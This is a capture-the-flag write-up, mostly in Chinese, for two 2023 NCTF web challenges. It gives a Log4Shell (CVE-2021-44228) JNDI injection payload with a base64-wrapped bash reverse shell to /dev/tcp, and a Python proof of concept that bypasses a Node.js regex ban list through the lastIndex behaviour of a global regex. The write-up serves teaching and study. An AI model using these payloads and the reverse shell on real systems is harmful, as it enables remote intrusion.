2023 NCTF WriteUp
2023-12-24 Write Up

logging

log4j2 rce (CVE-2021-44228)

使用工具:

welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc) (github.com)

Server Bash run:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,x}(x: 'bash -i >& /dev/tcp/ip/port 0>&1' encoded with base64)|{base64,-d}|{bash,-i}" -A <server_ip>:<listen_port>

在 Request 的 Accept Header 中注入 jndi,触发报错日志记录,

${jndi:rmi://<server_ip>:<rmi_port>/<ramdom_rmi_route>}

log4j2 远程加载 Class 类 反弹 Shell

Wait What

写战队wp的时候写了个这题的抽象版wp,结果发现认错出题人了还被拿来当官方wp了,给 X1r0z 和 114 佬们跪了Orz,以下是正常版wp

由于 admin 账号被放入了 waf 中
而我们又需要登录 admin 账号来获取 flag
因此本题的核心目标是绕过两道 waf 来登录 admin 账号获取 flag

1. 正则 waf 绕过

let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
    console.log("第一个判断匹配到封禁用户:",username)
    res.send("用户'"+username + "'被封禁,无法鉴权!")
    return
}

由于 new RegExp(regex_string, "g") 定义了 g 的全局 regex

regex.test():
如果正则表达式设置了全局标志,test() 的执行会改变正则表达式 lastIndex属性。
连续的执行test()方法,后续的执行将会从 lastIndex 处开始匹配字符串
example:

ar regex = /foo/g;
// regex.lastIndex is at 0 
regex.test("foo"); // true 

// regex.lastIndex is now at 3 
regex.test("foo"); // false

此处存在漏洞利用的可能,但在 app.use() 中:

app.use(function (req, res, next) {
    try {
        build_banned_users_regex()
        console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
    } catch (e) {
    }
    next()
})

build_banned_users_regex()

function build_banned_users_regex() {
    let regex_string = ""
    for (let username of banned_users) {
        regex_string += "^" + escapeRegExp(username) + "$" + "|"
    }
    regex_string = regex_string.substring(0, regex_string.length - 1)
    banned_users_regex = new RegExp(regex_string, "g")
}

escapeRegExp(username)

function escapeRegExp(string) {
    return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

这些代码会导致每次在请求时都会更新 banned_users_regex ,恢复其 lastIndex 位置
由于 try 和 catch 的存在,我们考虑 throw error 来绕过 regex 的更新

通过构造传入 escapeRegExp()函数中的 string 为其他数据类型,

可以使得 replace 属性报错,这样就可以绕过 regex 的更新

2. in 关键字 waf 绕过

let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
    console.log("第二个判断匹配到封禁用户:",username)
    res.send("用户'"+username + "'被封禁,无法鉴权!")
    return
}

JavaScript:in:如果指定的属性在指定的对象或其原型链中,则 in 运算符返回 true

由于 banned_users 为 Array 类型,不存在 admin 属性,
因此 test2 恒为 false,与 banned_users 的具体元素内容无关

3. 解题步骤

  1. 利用 /api/ban_user 路由构造 ban_username 为 {} 等其他数据类型
  2. 执行 /api/flag ,使得 regex 的 lastIndex 移至 admin 以后
  3. 执行 /api/flag,成功绕过正则 waf,正则 waf 返回 false,获得 flag

4. Poc

import requests

Base_url = "<challenge_url>:<port>"

# bypass regex regeneratation (throw error)
requests.post(
    f'{Base_url}/api/ban_user', 
    json={
        'username': 'user',
        'password': 'user',
        'ban_username': {}
    }
)
print("[1/2] Successfully Bypassed Regex Regeneratation")

# using .test() twice and bypass regex
for i in range(2):
    response = requests.post(
        f'{Base_url}/api/flag', 
        json={
            'username': 'admin',
            'password': 'admin'
        }
    )

print(f"[2/2] Done! flag: {response.text}")